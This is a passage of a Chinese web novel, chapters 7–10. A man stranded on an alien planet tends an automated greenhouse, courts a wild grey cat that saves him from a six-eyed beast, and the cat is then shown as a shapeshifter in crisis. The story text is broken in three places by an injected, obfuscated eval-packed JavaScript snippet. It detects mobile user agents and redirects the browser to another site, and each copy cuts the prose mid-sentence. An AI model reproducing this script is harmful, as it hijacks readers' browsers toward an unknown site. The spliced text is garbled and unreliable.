《顶级哨兵他装猫求我驯养》 7. 第 7 章 穿过大厅后方的感应门，江寻来到了位于别墅一楼后半部分的培育室。 “培育室”是江寻自己取的名字，虽然江寻有时候觉得，这么一个好像学校实验室一样的名称，远远配不上这里的科技含量。 感应门左右，各有两个由高强度玻璃，封闭隔离而成的微型培育场。 左边的培育场呈立体多层架构，每一层都布置着不同的培育基，搭配有气雾喷灌系统，每日会根据每一层种植的作物种类，调整适当的水雾量进行自动灌溉。 现在，只有一半左右的培育基上长着作物。其中又只有一种作物是江寻新近通过探索得来，再经过设备检测、育种后，成功培育起来的。 右边是一个昆虫培育场，呈单层结构，是一个包含有仿真土壤、多种矮叶植物、水源地等一系列生态环境在内的综合培育场。 如今里面培育着许多种大小不一，颜色各异的昆虫。 虽然不想承认，但江寻基本可以确定，这里就是他摄入的营养剂中，最主要的蛋白质成分来源。 培育室尽头，还有一个直径约有3米左右的封闭海洋球。现在里面没有培育什么水生生物，只养着一些藻类与浮游生物进行氧气再生循环。 整个培育室呈封闭式结构，江寻不太清楚这里的植物是怎么进行光合作用的，初步猜测可能与天花板上的那一层银色涂层有关。 培育室中的动植物培育过程全程封闭，由自动化机械完成。生产资源由连接至地下二层制备室的管道供给。 同样的，收获的资源也由机械统一采集，通过管道运输至地下二层，再输入位于制备室的分子重组熔炉中，分解成基础成分储备入资源库。 需要制作产品时，只需要在制备室的控制台上查找到相应的图纸，就可以下达指令。自动生产线会根据图纸，自动提取资源库中的库存物资，在规定的时间内生产出各种产品。 江寻现在每天的任务，除了学习语言、探索新世界之外，最重要的就是记忆已有的昆虫植物种类。以便在探索时搜集更多的种子、虫卵，从而丰富这间培育室的资源种类，生产出更多品类的新产品。 “嗯，新作物生长良好，预测有价值结构是……茎鞘和果实。”江寻一边查看控制台，一边把一些自己认为重要的信息记录在自制的笔记本上。 之前采集回来的虫卵好像有几个快孵化出来了，希望这一批里面有能用的新品种…… 巡查了一圈，确定各个培育场都在正常运转。江寻从一楼食物储备区随意拿了一支营养剂，叼在嘴里就上了二楼。 二楼主要分为左右两块区域，分别位于中央楼梯两侧，右侧房间占地面积很大，里面摆放着许多江寻还不知道作用的设施。从外表来看，江寻猜测，这里可能是娱乐室或者健身房。 这个房间里的设施似乎需要某种权限或者“钥匙”才能开启，江寻曾经尝试过。但可能因为他是作为被救助者停留在这里的，权限并不足够开启这些设施，只好作罢。 左侧房间内的设施很简单，只有中间并排摆放着的两个巨大的全息交互舱。 以前在地球上时，江寻就只对一些有限的所有物在意，对一般人眼中重视的社会关系、金钱地位，毫无追求的欲望，努力赚钱买房也大部分是为了让奶奶安心。 如今穿越过来，更加没有重新融入一个新世界的想法。流落到了这里，一定程度上来讲可以说是正合他意，如果可以，他只想自己一个人安静地生活下去。但面前这未知的未来世界还是让他产生了一些好奇。 于是，发现全息舱以后，江寻每天上午都会利用全息交互舱来学习通用语，了解这个新世界。 躺进全息舱中，江寻依照惯例先跟着小A推荐的课程，学习了三个小时的通用语。这才打开资料库中储存的其他文件和视频浏览了起来。通过这些资料，江寻对自己现在所处的文明世界有了一个简略的认识。 这是一个已经拥有星际穿梭能力，掌控着众多星球的星际文明。 这个星际文明疆域横跨好几个星系，十分辽阔，内部成员种族也多种多样。 主导的智慧种族仍然是人形生物，大部分公民外表看起来与地球人似乎并没有多少差异。但在一些战斗视频中，江寻却发现，其中有一小部分人喜欢带着猛兽一起协同战斗，又或者自身带有部分兽化器官。 这一小部分人从身体素质到军事素养，都表现得全面超越了其他大部分星际人类，在他看过的大多视频中，都占据着主力的位置。 江寻怀疑这可能是一个专长战斗，外表与星际人长相相似的另一种族，又或者是接受了基因改造的“超级人类”。 其他方面，这个文明的发展方向也与21世界的人类有着些许差异。 这里的科技发展方向明显更偏向于生活用途。而在战斗领域则更加重视士兵的个人能力，科技产业全面为辅助士兵存在而不占主导作用。 这一点，与江寻认知中的自然规律不符。江寻怀疑这种未知的“超级人类”，可能拥有着某些他还无法理解的特殊能力或作用。 另外还有一点让江寻非常在意，在他每次使用全息舱时，投影出来的日期、时间等信息下面，一直有一行醒目的红色倒计时。 他只能通过数字的变化认出倒计时上的具体数字，而无法理解前面的条目。但日渐流逝的鲜红色数字提醒着他，它带来的恐怕不是个好消息。 这行倒计时现在显示出的时间是：85日。 …… 学完了今日份的课程，从全息舱里爬出来又喝了一管营养剂，江寻就准备外出进行今日份的探索活动了。 换上惯用的行头，江寻活动活动四肢。 两天没出门而已，感觉身上就有些锈住了。 这么多天下来，江寻对这里的重力已经渐渐习惯了，不再像刚来时一样，随便做点事就耗尽体力了。江寻打算延长每日的外出时间，尽快把体能锻炼上来好适应新的环境。 现在可不比过去在地球，不提资料里见过的那些超级士兵，只是自己居住的房屋附近，就有不知道多少强力的野兽随时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15762069|174427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出没。 虽然对化身超级战士没什么兴趣，他也不想随便出来个什么小动物都能把他按在地上摩擦了。 一路走走停停，江寻顺着之前开拓出来的路线向着西面探索过去。 今天，他需要找到一种操作台上提到的，能够分泌出一种高密度树脂的树木。 “是这种树吗？” 江寻走到一颗树干高大，枝丫稀少的树下，将面前的大树和笔记本上记录的外貌对比着。 上次的冲突中，江寻的防护服被那只灰色猫儿损坏了。 以他现在的权限，还无法使用别墅地下二层的制备室，制造记录在其中的军用级装备，有限的几种民用级设备就是他唯一的选择，其中又以这个半覆式防护服最常用到。 制造这种防护服需要用到一种蚕类结茧时吐出的特殊丝线。此时还不是这种蚕类大批结茧的时间。短期内无法制作出新防护服的情况下，江寻只好退而求其次，用这种延展性和粘合力强度都不错的树脂凝胶来暂时修复。 从腰带上取下小刀，江寻剥开外部干枯的树皮，使力下压，横割出一道伤口观察。 不到一分钟，暴露出来的伤口中便慢慢泌出一滴滴粉红色的粘稠液体。 江寻用指尖沾起一点粘液捻了捻，液体粘连不断，拉出一条长长的细丝，一股淡淡的杏仁味散发出来。 没错了，各种性状都符合描述，就是这种树脂了。 江寻将割口再次扩大暴露出来，取出提前制作的临时树液采集器，紧紧绑在割口下方。 一个简单的树液采集装置就完成了。 如法炮制，江寻在临近的几颗树上，都挂上了采集器，这才停下来稍微休息一会儿。 擦擦头上的汗水，江寻心下有点焦躁。 不知道为什么，从离开矮叶林区，进入高木区域以后，他就产生了浑身不对劲的感觉。 心里一根弦一直绷着，背上汗毛竖起，一种莫名的不安感一直如影随形般缠绕着他。 一路上做事都有点心不在焉，听到什么风吹草动就要转头过去看看，却始终什么也没发现。这么一路走下来，耗费的精力比以往多得多。 再加上身体还没完全恢复，一直发着低烧，这会儿一停下来，江寻就有些扛不住了，靠在树干上昏昏欲睡起来。 江寻晃晃头醒了醒神，四面打量一下一片静谧的周围环境，从随身的挎包中取出四支筷子一样大小的银色金属棒，依次插入地下，激活开关围出一个五米见方的正方形区域。 这是一种激光式便携警戒器，激活之后会自动检测十米内的其他警戒器，以激光相互连接形成警戒光幕。作用期间，任何穿过这片激光光幕的物体都会触发警报使它鸣响起来，是江寻平日探索时常用的一种警戒措施。 布置完全，江寻这才来到中央的树下，趁着等待树液采集的功夫，靠坐下来休息一会儿。 周围一片静谧，风轻轻吹过林间，一阵阵树叶拍打声飘过耳畔。 江寻在这让人放松的白噪音下渐渐睡着。 8. 第 8 章 不知过了多久，睡梦里，江寻的身体好像慢慢热了起来。 不同于第一次心火灼烧、冷热交迫的激烈感觉。这一次的热是缓慢的，温柔的，轻飘的。 好像从身体最深处，缓缓蒸腾起来的水蒸气。 一点点向着四肢浸润。 体内的液体开始慢慢加速，将这份热气递送到神经末梢。全身的细胞都随着这股热气一点点变软，苏醒了过来。 耳边的树叶拍打声中混入了其他的声音。 细微的沙沙声，像是流沙滑下沙漏。 不规则的“咕叽咕叽”声，好像轻轻搓揉着泡沫。 最后，一声悠长的“叮”声，好像隔着迷雾远远飘来的钟罄。 江寻不自禁地微微挺胸后仰，气息鼓胀口腔，吐出一声呻吟。 灵魂乘着这口吐出的热气，上扬，上扬。 五感放空，沉入一片空寂的境界中。 可这个玄妙的梦境，却突然被什么东西打破。触觉被激活，江寻感觉有什么东西轻轻拨弄了一下他的手指。随着这一下震动，那片微妙的空濛感觉瞬间收束。 江寻的灵魂下坠，落入骨骸，猛地一个激灵清醒了过来。 手指上传来一个鲜明的触感。 毛茸茸的，又暖又软。 江寻半睁开眼睛一看，一只爪子正拨弄着他摊开在地面上的手指。 视线上移，一双印象深刻的墨绿眼瞳投入眼帘。 灰色的猫儿悄无声息地立在身前。 可能是刚才的感觉太过美好，江寻此时的情绪格外的轻松飘荡。就算突然看到曾伤过自己的猫儿无声无息地出现在身前，也没有太过紧张起来。 轻轻抬起手指掂了掂搭在上面的爪子，竟开口和猫儿搭讪起来。 “嗨，猫猫~你还没走呀？” 猫儿理所当然地没有回应。 江寻也不在意，继续输出：“上次让你等我，你怎么走掉了？这几天你藏在哪里呢？” 说着说着，也不知道思维又抽到了哪里，竟然不过脑子地突然抬手去摸了摸猫儿的肚子。 “看你瘦的，这几天是不是没东西吃啊？” 猫儿明显是被他不按常理出牌的突然动作吓了一跳。眼眶睁大，一爪子拍开对方抚在肚子上的手，急速后跃而出。落地就弓起了背脊，肩膀压低冲着江寻呲牙低吼起来。 可它拍过来的爪子连指甲都没有露出来，动作间无端透着股色厉内荏。 江寻彻底醒了过来，刚要为自己不过脑子的行为后悔。 一见这一幕，反而心中升起明悟。 这猫儿虽然看着凶悍，其实不会再伤害自己了。 他也不知道自己是哪来的自信，可当这股明悟浮现，整个身体就自然而然地放松了下来，心中也对眼前的猫儿再提不起一丝戒备之心。 反而看着这凶巴巴的小猫，越看越有趣起来。 那猫儿可不知道江寻心里所想。 看到江寻清醒了过来，像是要确定什么似的，上下打量了江寻一圈，威胁般最后低吼了一声，转身一个跳跃跃过江寻布设的警戒器，脑袋一钻就消失在了草丛里。 从始至终，那警戒器都和哑巴似的，毫无动静。 …… 自从这次遇到猫儿后，江寻在外出时便更加频繁地觉察到那种不对劲的感觉。次数多了，江寻终于确定，这是猫儿注视着自己的视线。可当他试着呼唤时，猫儿却从不现身。 这一古怪的情形让江寻提起了兴趣。 猫猫为什么总在背后偷偷看我，却不出来呢？想到以前在地球上刷视频时候看过的内容，心下猜测。 猫猫是不是对我很感兴趣，但是以前被人伤害过，所以一开始才攻击我想要捕获我。后来看我没有伤害它，就放弃了一开始的打算，改成一直偷偷跟在背后观察我？ 对了，第一次遇到猫猫时，就在那个降落的飞船附近，猫猫是不是那时候碰上了那些士兵，被他们吓到了？ 江寻越想越觉得对，心下有些高兴。 他以前梦想中的生活便是有一个自己的房子，再养一只猫或者小狗，平平淡淡地度过余生。 之前忙着工作赚钱，一直未能实现，如今一个人落在这荒无人烟的地方，又遇上这只恰好也对自己感兴趣的猫猫，心底不禁蠢蠢欲动了起来。 要不先和它缓和下关系，试探看看？那些视频里面说要怎么抓流浪猫来着？江寻仔细回忆。 好像要先喂它几天，和它混熟吧。不知道这外星猫猫和地球上的一样不一样。不过自己也没研究过这里的动物植物哪些是可食用的。它吃不吃营养剂啊？ 江寻自己对食物没什么挑剔，向来追求效率最大化，怎么方便怎么来，吃得下去饿不死就行。 降落在这里，发现了营养剂这种又方便又高效的食物以后，也没有再去冒着危险试验哪些东西能吃。 这时候想起给猫猫喂食，心下不由有点抓瞎。猫科动物的话，生骨肉和鱼类这种应该可以吧？ …… 之后几天里，江寻尝试了各种他能想出来的猫食。 新鲜的动物肉、各种小鱼小虾、培育室中产出的根茎、树上结出的各色树莓果实，甚至还抓了一只不知名的哺乳兽类，想办法弄出了一小碗奶水。 他把这些食物和制备出的纯水放在小碗里，安置在别墅外的空地上。 开始的时候，根本无人问津。 直到他把小碗换了位置，放到更远处的高草丛旁边，自己又躲进了别墅里，这才觅得了一些猫儿的踪迹。 这小猫也不知是怎么形成的习惯，明明瘦成那样，看着是一直在外边流浪，吃不好睡不暖的样子，还特别挑食。江寻费心准备的猫食，只有一些新鲜小鱼和奶水、部分树莓被它宠幸过，其他的食物碰都不碰一下。 而且就算是吃了江寻准备的食物，也对江寻没有一丝主动亲近的意思。别说混熟了，连靠近都不能。每次只要江寻一出现在它的视野里，就会立马消失。 江寻努力了好几天，一无所获，终于停下了尝试，再次想起办法。 可以肯定的是，猫猫的确十分喜欢自己，一直跟着自己。 这些天来现身的次数越来越多了，看到自己也没有再主动攻击过，也会吃准备的食物，只是还是一直不让自己靠近。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15762070|174427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不是这些食物的吸引力不够？毕竟是星际世界的外星猫，食谱和地球上的猫咪不一样也正常，又或者猫猫不认识里面的一些食物，不敢下嘴？ 毕竟在地球上也有很多猫儿只吃猫粮，或者只吃某些固定的食物。不知道在这边，有没有类似猫粮、罐罐之类的专属宠物食品呢？ 这里的科技这么发达，这种成品猫食，说不定会比自己搞出来的原始版本对猫咪更有吸引力呢？ 对了，不如去制备室看看，江寻突然想到，说不定有什么现成的图纸可以用呢。 …… 制备室是这间别墅里，江寻觉得最神奇，最能称得上黑科技的地方。 制备室位于别墅地下二层，规模非常大，占据了整个地下二层的空间。整个制备室，犹如一个封闭式无菌自动化生产车间。 制备室中心，伫立着一座金属制长方体操作台，上覆无边界投影屏，这就是整个制备室的控制中心。 房间除入口外的其他三面均为全封闭式结构，里面放置着一系列以管线相互连通的巨大机器。 控制台左右各有一条宽阔的传送带，一直连通到封闭区域内部。 一边是入料口，一边是出品口。 需要生产某种产品时，只要在控制台上找到相应的品类下达指令，确保资源库中原料充足。控制台就会自动启动相应机器，按照预存的生产步骤，制作出产品。 江寻常用的防护服与外骨骼都是这样制作出来的。 他曾经浏览过控制台里储存的各种图纸，可以说是大开眼界。 其内从普通的日用品、药品到各种看着就很高级的武器应有尽有。不过江寻受限于自身权限，能够点亮的图纸只有一小部分基础类产品。再加上很多图纸上标注的需求材料，江寻连看都看不懂，所以一直无法发挥出制备室应该达到的高超功能性。 不得不说，这时候能想到在这里找图纸给猫咪做食物，江寻也是纯粹异想天开。 结果，出乎意料的，他还真的在控制台上找到了不少看起来很专业的猫咪食物。 “□□鱼条，以□□□□为原料制作的□□动物零食，兼顾食用与游戏性……毛球□□冻，□□吸附毛发，通过□□□□排出……发光鱼冻，以□□□制作的维生素A富集胶体蛋白……精神安抚□□，使用□□□稀释液制作而成，在□□□时可以有效保护神经系统……” “嗯？什么东西混进来了？” 江寻将几个明显功效奇怪的图纸关闭，又略过产品说明之中自己尚且不认识的单词，直接点开每个原材料的实例图片看起来。 最后挑选出两张功能合适，原料简单，看起来最容易制造出来的图纸。 其一叫做发光鱼冻，原材料是一种浑身半透明，体表微微发光的淡水小鱼。另外一个叫做什么什么派，原材料是一种看起来像土拨鼠的小型啮齿动物。 江寻在笔记本上将这两种原料的模样记录了下来，打算先去板状榕森林那边看看能不能找到图中这种啮齿类小动物。 不行的话就顺路到东南面最近的那处湖上，尝试寻找一下有没有这种半透明小鱼的踪迹。 9. 第 9 章 “猫猫，猫猫你在吗？” 今天刚出门没多久，江寻就有了熟悉的被注视的感觉。不死心地呼唤了几声，整片森林仍然静悄悄的，只有他的喊声回荡其中。 叹息一声，江寻挎起背包向着靠东面的板状榕森林走去。为了今天的行动，他准备了一些器材，还自制了好几个捕鼠笼。 可刚走到森林边缘，江寻就皱起了眉头。 江寻刚穿越过来的时候，正是各种植株结出果实的秋季。 这里的一昼夜比地球上要短上一些，现在看来，连季节变化也要比地球快上一些。只是二十几天过去，气温就明显地降了下来，森林里比起以往要安静了许多。 江寻记得，啮齿类的动物里面，有许多品种都是需要冬眠的。如果他要找的这一种刚好也是需要冬眠的那一类，鼠类的洞口又小而隐蔽，那林海茫茫，可就不好找了。 在林子里搜寻了半天，不停地拿着木棍在树下戳弄翻找。可除了几只不知名爬虫，江寻一无所获。 哎，只能看运气了。 江寻无奈，只得将带来的捕鼠笼伪装起来，安置在了几棵榕树下方，盼望着能凭借运气逮到几只笨老鼠。 接着不再停留，按原计划向南拐弯，朝着湖边赶去。 这一路上明显萧条了许多，几乎不见小型生物的踪影，偶尔遇到些大中型动物，江寻也早早就避开了，一路上却是没遇到什么意外波折。 离得湖边越近时，遇到的动物越多了。 这个湖泊是附近最大的一处淡水来源，动物们成群结队，都是来这里喝水的。天长日久下，这里也形成了一种默契，在湖岸附近，即使是食物链上的天敌，彼此也互不侵犯相安无事。江寻也便默不作声地寻了个安静的缺口靠了过去。 湖岸非常宽阔，一片平坦。 湖水是活水，清澈见底，有支流小溪不停地汇入又潺潺流出。湖中央也不知道有多深，江寻最远只能看到距离湖岸五六米左右的湖底，更远些就看不清了。 透过清冽的湖水，能看到距离湖岸不远处，就有许多游鱼的身影。 幸运的是，刚走近几步，江寻就发现了一种和示例图上非常相似的小鱼，只是个头要比江寻想象中小得多。 它游得很浅，非常靠近湖面，因为半透明的身躯，又带着微微的磷光，当它游动时，几乎和湖面的波光融为一体。要不是江寻本就有的放矢，估计也会忽略掉它的身影。 找到目标就好办了，江寻松了一口气，今天总算是不虚此行。 他本没有多大信心能在这么大一片湖里找到这种小鱼，连工具都没有带来。没想到本来觉得希望比较大的一边落空了，这一头却一下子就找到了目标。 正准备回程，等下回造好了工具再来捉鱼。此刻看着这小鱼游动的位置心里却微微一动。 用目光丈量了一下距离，江寻取下了挎包，从里面翻出了一个带着天线的手持机械。 这是一个小型声波驱虫器，但现在江寻需要用到的是他的天线。 只见他三下五除二，将驱虫器上的伸缩天线拆了下来，放到最长距离。再将其紧紧捆扎在了随身携带的防身武器脉冲电棍上。然后举起电棍，把天线延伸出去的那一头扎进那小鱼附近的水面，一摁开关。 只听“滋啦”一声，湖面上白光一闪，就有几条小鱼翻着肚皮漂了上来。 得来全不费工夫。 江寻露出笑意，在岸边折了两片阔叶，现场折出个漏斗状的兜子，几步涉入湖中，把电晕过去的小鱼兜了起来。刚转过身来准备上岸，却面色大变。 湖岸边不知什么时候安静了下来，刚才还团团聚集在一起的动物们，一眨眼就全部没了踪影，不远处的林中，一声又一声沉闷的巨响传来。 再一个眨眼，一棵还没长成的小树“嘎吱”一声，凄惨地从中间断折开来，“砰”一下被挤到了旁边。 树干背后，露出了一个六目独角的庞大巨影。 太阳西斜，一层薄薄的雾气在淡绿色的湖面上蒸腾而起。 江寻口里呼出的热气喷在空气中化为一线细长的白雾。 握着脉冲电棍的手指微微发麻，冰凉的湖水正顺着外骨骼关节浸湿防护服。 当波动的涟漪碰撞到湖岸时，岸边的六目巨兽咆哮一声发起了冲锋。 庞大的身躯瞬间破开水幕奔至面前，江寻本能地向着侧边翻滚，外骨骼液压泵发出不堪重负的呻吟。 左臂在躲避中刮擦到巨兽背上坚硬的鳞甲，外骨骼关节发出一声刺耳的“吱呀”，一簇电火花迸出，迅速冒起了青烟。 身后的巨兽一击不中，身躯砸落湖面，激起丈高的浪墙狠狠拍过来。 江寻被其打个正着，“砰”一声拍在了浅滩碎石上，背后的外骨骼电源外壳被撞得变形，脏腑翻滚，当场吐出一口血来。 江寻伸手抹掉口边鲜血，强撑起身体，迅速将外骨骼功率开到最大，紧盯着倒转过身来的巨兽。 只见巨兽冰冷的背甲劈开水花，山岳般从湖面上隆起，脊背上密布的倒刺映着夕阳化为一片血红。六只嗜血的兽瞳穿透薄雾的刹那，第二波冲锋轰然而至。 江寻紧握住短棍横举格挡，钛合金柄身与独角相撞迸发的火星照亮了六只复眼里跳动的杀意。 巨力顺着外骨骼传来，支架迅速扭曲，江寻踉跄着后退一步，巨兽头一甩，独角斜挑而过，撕裂他左肩的防护层，纳米纤维如同剥落的蛇皮般翻卷。 江寻再次被摔拍在湖边，冰凉的湖水倒灌进防护服，洇开一团血红。 一股腥甜混合着咸涩的湖水涌进口鼻，江寻剧烈地喘息着，强烈的嗡鸣声贯穿他的脑海。 他看着巨兽张开布满獠牙的巨口，鼻腔里甚至闻到了浓烈的腐臭味。 一道灰色闪电劈开雾气。 预想中的剧痛化作一声金石相击的脆响，某种柔软擦着他耳侧掠过，带起一阵灼热的战栗。 灰色猫儿一声凶狠的啸叫落在巨兽鼻梁，墨绿竖瞳在夕阳下骤然点亮。 爪尖指甲弹出猛地挠向最近的猩红复眼。巨兽发出震耳欲聋的哀嚎，被挠中的眼球鲜血四溢。 猫儿借着反冲力跃上独角，肉垫接触甲片的瞬间，江寻看见它爪尖骤然变黑，空气中弥漫起一阵甜腻香气。 "快退！"江寻对着猫儿大喊，巨兽发狂大吼一声，一个一百八十度转身把小猫甩飞出去。 江寻发动外骨骼残余的动力，推着他斜扑出去接住猫儿，原先位置立刻被兽尾砸出个两米深坑。 猫儿像是也打出了火气，突然发出婴儿啼哭般的嘶鸣，一纵身再次扑向巨兽。 这次，它灵巧地绕到巨兽脖颈后方，对准鳞甲缝隙亮出前爪。 巨兽狂乱地摆头想要甩脱这附骨之疽，猫儿却像黏在鳞片间的藤壶。每当利爪挥落，必有一片鳞片血肉模糊地翻卷过去。 巨兽的嘶吼声越来越疯狂，不顾一切地狂暴挣扎起来，六只眼睛越睁越大撕裂眼眶，接着接连爆裂成腥臭的浆果。 当巨兽轰然跪倒时，猫儿正叼着半截断角轻巧落地。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15762071|174427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 它左前爪不自然地蜷缩着，暗红血珠泼了大半身，呼吸急促，瞳孔不自然地剧烈收缩。 江寻目瞪口呆地看着眼前的一切。 这就是自然选择下，不知道几百年后未来猫猫的战斗力吗？和它比起来，在原本世界里还算健壮的自己简直就是个战五渣。 原来第一次见面时，面前的猫猫对自己放了这么大的水。 “你怎么样？快过来……”江寻忍着脏腑的疼痛急忙解开应急医疗包，猫咪却踉跄了一下退进雾中。 血色的夕阳照亮它的眼瞳，江寻突然想起几天前的那个下午，猫儿静静立在身边，伸出一只软软的肉爪，好奇地拨弄着他的手指。 巨兽尸体半淹在湖水里，血色波浪一波又一波拍打在湖岸边。阔叶折成的兜子摔散在滩涂上，半透明的小鱼醒了过来，正甩着尾巴在残留着水渍的叶片上蹦跶。 猫儿消失前回头望了一眼，墨绿瞳孔闪过人类般的情绪。 “你受伤了，别走！” 江寻忍着痛苦按着肚腹担心地紧追几步，迷雾渐浓，还是丢了那个小小的身影。 湖面重归平静，唯有漂浮在湖面上的鳞片证明这场惨烈的厮杀。 …… 腐殖质浓烈的腥气钻进鼻腔，陆厌离跌跌撞撞地倒在地上止不住痉挛。 湿热的空气像沾满胶水的纱布糊在脊背上，毛发下的皮肤一会儿如万蚁噬心般瘙痒，一会儿如枯木般毫无感觉。 灰猫的脊背不正常地弓起，每根毛发都如有呼吸般一起一伏。 左前爪扭曲成怪异的角度，创口处翻卷的皮肉里嵌着半片兽齿。 陆厌离目光涣散地游移，看到伤口血迹的那一刻，原本强力压抑的精神力场在一个停顿后，猛烈震荡而后轰然炸开。 一阵尖锐嘶鸣贯穿陆厌离脑海。 雨林突然陷入死寂。 昆虫振翅的频率、露水从叶片滚落的轨迹、腐烂树桩里白蚁啃噬木质的震动，所有声音化作钢钉楔入太阳穴。 灰猫的墨绿竖瞳瞬间扩张到极限，嘴巴张大到几乎撕裂，喉间滚动出濒死的嘶吼，爪垫弹出又缩回，在泥地上犁出五道深沟。 精神图景中的孤岛燃起黑色大火，荆棘在火焰中如有生命般疯狂扭动，而后化为灰烬飘散向天际。 “不！” 陆厌离翻滚着撞向缠满藤蔓的榕树，后脑重重磕在板根凸起处。血腥味在口腔爆开的瞬间，精神图景中的灰烬化为灰色的雾气从身上失控地满溢而出。 他看见自己的尾巴暴涨成狮尾，灰雾凝成鬃毛扫过枯枝，所到之处腾起虚幻半透明的靛蓝磷火。 骨肉在皮肤之下剧烈暴涨、蠕动，撕开皮肤膨胀而起，又在一秒之后扩张到极限，爆裂开来，碎裂的血肉还没落下就被磷火包裹，待得坠落之时只余一团轻飘的灰烟。 剧痛像一柄烧红的铁梳刮过神经丛，疼痛让眼前的重影短暂消散。 “不是现在！给我收回去……” 陆厌离狠狠用力，咬得满口是血，在这宝贵的间隙中找回一丝残余的神志。 鼓起所有力气，抬起右爪猛地击向左腕伤口。腕骨发出不堪重负的脆响，不自然地再次弯折，暴涨的精神波动在剧痛中骤然坍缩。 狮吼在耳膜深处炸响，又陡然化作幼猫的呜咽。灰雾重新聚拢成瘦弱的猫儿，看着却比之前更小了。 雨又下了起来。 灰色的猫儿却已经失去了神志，身躯被雨水砸得无意识颤抖，血色深深地渗透身下湿润的泥土。 10. 第 10 章 乌云蔽日，大雨倾盆。 “铮~”一声，随着催眠气体被排出，江寻从医疗舱里醒来。 【修复完毕，本次修复共用时8□□30□□，内脏修复率85%，骨骼修复率78%，□□□修复率92%，创伤泡沫储存量：0□□□，请补充药物。】 警报声响起，随着合成音效的报告声，医疗舱上盖被掀起，江寻撑起上身，从舱内爬了出来。 湿淋淋地躺倒在医疗舱边的地板上，江寻感受着体内渐渐散去的酥麻大口呼吸，身体仍然紧绷着，一闭眼就能想起昨天的情景。 昨天大战过后，江寻就失去了小猫的踪迹。 身受重伤，装备几乎完全损毁，再加上害怕死去的巨兽尸体引来其他野兽，江寻快速地处理了一下现场就马上离开了战场。 离开时在附近匆匆寻找了一下小猫的踪迹，可没过多久，天就开始下雨，天光迅速黑了下来。江寻无奈只能先回家。 一路撑着进了家门，都来不及擦洗一番，翻进医疗舱里就晕了过去，一觉睡到了现在。 站起身来呼出一口气，江寻扯下身上破损的衣服钻进了洗浴间。 十分钟后，才一身清爽地再次走了出来。 这是他来到新世界后面对过的最危险的一次危机。 即使之前饥寒交迫晕倒过去，被AI管家救助时，也没这一次给江寻带来得印象深刻。 以前的他从没想过，自己会有面对如此绝境的一天。 这次经历也对他敲响了警钟，他第一次这么清晰的意识到，曾经在地球上的生活是多么和平美好。已经身处异世的自己，必须要更快提升自己的能力和装备。 要不是自己实力如此不济，一个照面就几乎失去了行动力，起码也能给别人减轻一些压力。 江寻低头自责，为什么不管在哪里自己都是拖油瓶呢？今天如果不是有小猫的舍身相救，恐怕现在的他已经葬身兽腹。 想到失去踪迹的小猫，江寻顾不得自艾，转而担忧起来。 它当时受的伤比自己只重不轻，又不愿意让自己帮它治疗，现在也不知道怎么样了？ 江寻看着屋外仍然瓢泼的大雨，心间沉重。 心不在焉地学完今天的课程，江寻啜饮着一袋营养液，向着窗外望去。 已经是中午了，外面的天色还是阴沉沉的。大雨一点儿停下的意思都没有，冷冰冰地拍打着窗沿。 远方忽然传来一声高亢的兽吼。 江寻终于忍不住了，一把将剩余的营养剂丢下，匆匆走下别墅地下二层，在控制台上一顿操作。 那么小的猫儿，为了救自己受了伤，现在还不知道怎么样了，自己实在没法就这么独自在安全的地方等下去了。 这雨也不知道要下到什么时候去，猫儿的伤也不知道怎么样了，有没有地方躲雨？有没有东西吃？ 江寻越想越着急自责，也顾不上等待装备修复完成，强行打断流程。拎起仅剩下的那件勉强还能用的防护服，紧紧裹在身上，抽出一把雨伞就踏出了家门。 …… 江寻压着动静小心地向着湖边方向赶去。 他身上如今没有带任何武器，只有一件聊胜于无的防护服。即使现在心下焦急也不敢弄出大动静引来其他野兽。 一路上，他时时刻刻注意着地面、树底，看到有什么不寻常的地方一定凑过去仔细看看，生怕看漏了什么。 就这么一路搜寻着踪迹，足足用了平时的两倍时间才走到了湖岸附近。 昨天战斗的痕迹还历历在目，那巨兽的尸体居然没有被这里来往的动物分食，仍然躺在浅水湖边。不知道是不是生前的余威仍然在发挥着作用。 尸体在这潮湿的环境中已经开始腐败了，即使隔着大雨仍有阵阵强烈的腐臭味袭来。 江寻没有靠得太近，他的目标并不是这个。 低下头，在周围的地面上仔细找了半天。 大雨的冲刷下，很多痕迹已经被洗掉了，但是大量血液沉积渗透的地面，仍然为江寻指引了方向。 这一次，他的时间很多，没有漏过这些遗留下来的痕迹，江寻一路顺着血迹找了过去。 这里已经深入了板状榕区域，大雨在密密麻麻的树叶遮挡下变小了许多。 又走了快半小时，终于在尽头处，找到一片可疑的染血地。 